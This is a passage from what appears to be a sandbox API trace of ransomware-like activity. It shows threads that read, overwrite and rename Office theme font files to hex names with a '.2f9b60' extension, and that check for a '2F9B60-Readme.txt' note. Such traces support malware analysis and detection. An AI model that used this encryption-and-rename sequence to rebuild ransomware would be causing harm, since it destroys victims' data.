[0124.576] sprintf (in: _Dest=0x1cda0516, _Format="%c%c" | out: _Dest="be") returned 2 [0124.576] RtlInitAnsiString (in: DestinationString=0x4033f728, SourceString="41e30365e6f7d9e425e08561ce75c4b8001e63be" | out: DestinationString="41e30365e6f7d9e425e08561ce75c4b8001e63be") [0124.576] RtlAnsiStringToUnicodeString (in: DestinationString=0x4033f6f8, SourceString="41e30365e6f7d9e425e08561ce75c4b8001e63be", AllocateDestinationString=1 | out: DestinationString="41e30365e6f7d9e425e08561ce75c4b8001e63be") returned 0x0 [0124.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c0d0 [0124.577] wcscat (in: _Dest=0x202acdc0, _Source="41e30365e6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\41e30365e6") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\41e30365e6" [0124.577] wcscat (in: _Dest=0x202acdc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\41e30365e6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\41e30365e6.2f9b60" [0124.577] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\41e30365e6.2f9b60", NtPathName=0x4033f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\41e30365e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1187b0 [0124.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0124.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0124.740] NtQueryInformationFile (in: FileHandle=0x104c, IoStatusBlock=0x4033f738, FileInformation=0x4033f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4033f738, FileInformation=0x4033f748) returned 0x0 [0124.740] NtSetInformationFile (FileHandle=0x104c, IoStatusBlock=0x4033f738, FileInformation=0x4033f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acdc0) returned 1 [0124.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c0d0) returned 1 [0124.742] FlushFileBuffers (hFile=0x104c) returned 1 [0124.744] CloseHandle (hObject=0x104c) returned 1 [0124.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202acdc0 [0124.745] wcscpy (in: _Dest=0x202acdc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.745] wcscat (in: _Dest=0x202acdc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acdc0) returned 1 [0124.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0150) returned 1 Thread: id = 1436 os_tid = 0x18c4 [0119.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml")) returned 0x20 [0120.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml", dwFileAttributes=0x20) returned 1 [0120.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1048 [0120.990] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x402bf7a0 | out: lpFileSize=0x402bf7a0*=3628) returned 1 [0120.990] SetFilePointerEx (in: hFile=0x1048, liDistanceToMove=0xe28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.990] ReadFile (in: hFile=0x1048, lpBuffer=0x402bf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x402bf768, lpOverlapped=0x0 | out: lpBuffer=0x402bf720*, lpNumberOfBytesRead=0x402bf768*=0x4, lpOverlapped=0x0) returned 1 [0121.424] SetFilePointerEx (in: hFile=0x1048, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0121.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8850 [0121.424] NtQuerySystemTime (in: CurrentTime=0x402bf660 | out: CurrentTime=0x402bf660*=132462177268198000) returned 0x0 [0121.424] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x276e446d [0121.424] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x1e954ed1 [0121.424] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x606d24a3 [0121.424] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0xfb40a3d [0121.424] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x33a2d4d5 [0121.424] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x62812ddd [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x5f309ea7 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x1b3d8ee7 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x164e7739 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x75eab9fa [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x1fbe5c80 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x12eac62c [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x6e24937 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x515ad58b [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x1db4770c [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x3b4ee858 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x7b74ea87 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0xb8d1a4e [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x11133b85 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x7122d3db [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x20140e00 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x53845076 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x6efe6af8 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x1866af77 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x7b74ea87 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x6e7b9dbe [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x1f9383c0 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x4abc4aa0 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x4fc7d14a [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x776022b6 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x52567ac4 [0121.425] RtlRandomEx (in: Seed=0x402bf650 | out: Seed=0x402bf650) returned 0x80ce9b [0124.461] ReadFile (in: hFile=0x1048, lpBuffer=0x41b66910, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x402bf650, lpOverlapped=0x0 | out: lpBuffer=0x41b66910*, lpNumberOfBytesRead=0x402bf650*=0xe2c, lpOverlapped=0x0) returned 1 [0124.461] SetFilePointerEx (in: hFile=0x1048, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.461] WriteFile (in: hFile=0x1048, lpBuffer=0x41b4c1b0*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x402bf654, lpOverlapped=0x0 | out: lpBuffer=0x41b4c1b0*, lpNumberOfBytesWritten=0x402bf654*=0xe2c, lpOverlapped=0x0) returned 1 [0124.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0124.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0124.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fd0) returned 1 [0124.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b4c1b0) returned 1 [0124.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b66910) returned 1 [0124.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504a90) returned 1 [0124.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0124.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0124.524] SetFilePointerEx (in: hFile=0x1048, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.524] WriteFile (in: hFile=0x1048, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x402bf770, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x402bf770*=0x104, lpOverlapped=0x0) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0124.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fe0) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0124.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0124.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0124.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ef0) returned 1 [0124.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced7ef0 [0124.581] sprintf (in: _Dest=0x1ced7ef0, _Format="%c%c" | out: _Dest="ee") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7ef2, _Format="%c%c" | out: _Dest="6f") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7ef4, _Format="%c%c" | out: _Dest="e8") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7ef6, _Format="%c%c" | out: _Dest="b1") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7ef8, _Format="%c%c" | out: _Dest="24") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7efa, _Format="%c%c" | out: _Dest="ce") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7efc, _Format="%c%c" | out: _Dest="12") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7efe, _Format="%c%c" | out: _Dest="44") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f00, _Format="%c%c" | out: _Dest="97") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f02, _Format="%c%c" | out: _Dest="c3") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f04, _Format="%c%c" | out: _Dest="c8") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f06, _Format="%c%c" | out: _Dest="b8") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f08, _Format="%c%c" | out: _Dest="ee") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f0a, _Format="%c%c" | out: _Dest="46") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f0c, _Format="%c%c" | out: _Dest="56") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f0e, _Format="%c%c" | out: _Dest="97") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f10, _Format="%c%c" | out: _Dest="53") returned 2 [0124.581] sprintf (in: _Dest=0x1ced7f12, _Format="%c%c" | out: _Dest="3a") returned 2 [0124.582] RtlInitAnsiString (in: DestinationString=0x402bf7e8, SourceString="ee6fe8b124ce124497c3c8b8ee465697533a" | out: DestinationString="ee6fe8b124ce124497c3c8b8ee465697533a") [0124.582] RtlAnsiStringToUnicodeString (in: DestinationString=0x402bf7b8, SourceString="ee6fe8b124ce124497c3c8b8ee465697533a", AllocateDestinationString=1 | out: DestinationString="ee6fe8b124ce124497c3c8b8ee465697533a") returned 0x0 [0124.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cb50 [0124.582] wcscat (in: _Dest=0x202ac790, _Source="ee6fe8b12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ee6fe8b12") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ee6fe8b12" [0124.582] wcscat (in: _Dest=0x202ac790, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ee6fe8b12.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ee6fe8b12.2f9b60" [0124.582] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ee6fe8b12.2f9b60", NtPathName=0x402bf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ee6fe8b12.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118c90 [0124.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118c90) returned 1 [0124.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0124.743] NtQueryInformationFile (in: FileHandle=0x1048, IoStatusBlock=0x402bf7f8, FileInformation=0x402bf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x402bf7f8, FileInformation=0x402bf808) returned 0x0 [0124.743] NtSetInformationFile (FileHandle=0x1048, IoStatusBlock=0x402bf7f8, FileInformation=0x402bf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac790) returned 1 [0124.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cb50) returned 1 [0124.755] FlushFileBuffers (hFile=0x1048) returned 1 [0124.756] CloseHandle (hObject=0x1048) returned 1 [0124.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac790 [0124.757] wcscpy (in: _Dest=0x202ac790, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.757] wcscat (in: _Dest=0x202ac790, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac790) returned 1 [0124.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b01f0) returned 1 Thread: id = 1437 os_tid = 0x18c8 [0119.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml")) returned 0x20 [0120.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml", dwFileAttributes=0x20) returned 1 [0120.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1788 [0120.968] GetFileSizeEx (in: hFile=0x1788, lpFileSize=0x4048fda0 | out: lpFileSize=0x4048fda0*=3599) returned 1 [0120.968] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0xe0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.968] ReadFile (in: hFile=0x1788, lpBuffer=0x4048fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4048fd68, lpOverlapped=0x0 | out: lpBuffer=0x4048fd20*, lpNumberOfBytesRead=0x4048fd68*=0x4, lpOverlapped=0x0) returned 1 [0121.278] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7020 [0121.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c30 [0121.279] NtQuerySystemTime (in: CurrentTime=0x4048fc60 | out: CurrentTime=0x4048fc60*=132462177266794000) returned 0x0 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x37a8fa51 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x62a9cd40 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x10d6bd79 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x1465d904 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x712dd046 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0xc69ad71 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x7b527cb4 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x3d13658e [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0xac75ac8 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x7b9b1bf0 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x32727047 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x55b70deb [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x66707c0 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x1a65d30c [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0xcc17443 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x21152280 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x4457ce2e [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x2adfcd01 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x1e23597c [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x204fc9f9 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x24d728e8 [0121.279] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x68df1f6e [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x2cc499c6 [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x82ecdc2 [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x3dae63ec [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x6f507c4b [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x1b3a722 [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x321c7a44 [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x42d734d2 [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x101917e0 [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x2c8392bf [0121.280] RtlRandomEx (in: Seed=0x4048fc50 | out: Seed=0x4048fc50) returned 0x2980553f [0124.447] ReadFile (in: hFile=0x1788, lpBuffer=0x41c75950, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x4048fc50, lpOverlapped=0x0 | out: lpBuffer=0x41c75950*, lpNumberOfBytesRead=0x4048fc50*=0xe0f, lpOverlapped=0x0) returned 1 [0124.448] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.448] WriteFile (in: hFile=0x1788, lpBuffer=0x41b31d40*, nNumberOfBytesToWrite=0xe0f, lpNumberOfBytesWritten=0x4048fc54, lpOverlapped=0x0 | out: lpBuffer=0x41b31d40*, lpNumberOfBytesWritten=0x4048fc54*=0xe0f, lpOverlapped=0x0) returned 1 [0166.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2690 [0166.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2660 [0166.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2660) returned 1 [0166.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b31d40) returned 1 [0166.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c75950) returned 1 [0166.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504510) returned 1 [0166.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0166.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ff30 [0166.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0166.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504510 [0166.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2660 [0166.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2660) returned 1 [0166.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ff70 [0166.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2660 [0166.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2570 [0166.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2570) returned 1 [0166.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504510) returned 1 [0166.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0166.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x1ce12a10 [0166.121] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.121] WriteFile (in: hFile=0x1788, lpBuffer=0x1ce12a10*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4048fd70, lpOverlapped=0x0 | out: lpBuffer=0x1ce12a10*, lpNumberOfBytesWritten=0x4048fd70*=0x110, lpOverlapped=0x0) returned 1 [0200.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ff0 [0200.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ff0) returned 1 [0200.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced6ff0 [0200.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c00 [0200.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7050 [0200.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7050) returned 1 [0200.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x420593d0 [0200.111] sprintf (in: _Dest=0x420593d0, _Format="%c%c" | out: _Dest="d2") returned 2 [0200.111] sprintf (in: _Dest=0x420593d2, _Format="%c%c" | out: _Dest="28") returned 2 [0200.111] sprintf (in: _Dest=0x420593d4, _Format="%c%c" | out: _Dest="27") returned 2 [0200.111] sprintf (in: _Dest=0x420593d6, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.111] sprintf (in: _Dest=0x420593d8, _Format="%c%c" | out: _Dest="44") returned 2 [0200.111] sprintf (in: _Dest=0x420593da, _Format="%c%c" | out: _Dest="34") returned 2 [0200.111] sprintf (in: _Dest=0x420593dc, _Format="%c%c" | out: _Dest="16") returned 2 [0200.111] sprintf (in: _Dest=0x420593de, _Format="%c%c" | out: _Dest="e3") returned 2 [0200.111] sprintf (in: _Dest=0x420593e0, _Format="%c%c" | out: _Dest="03") returned 2 [0200.111] sprintf (in: _Dest=0x420593e2, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.111] sprintf (in: 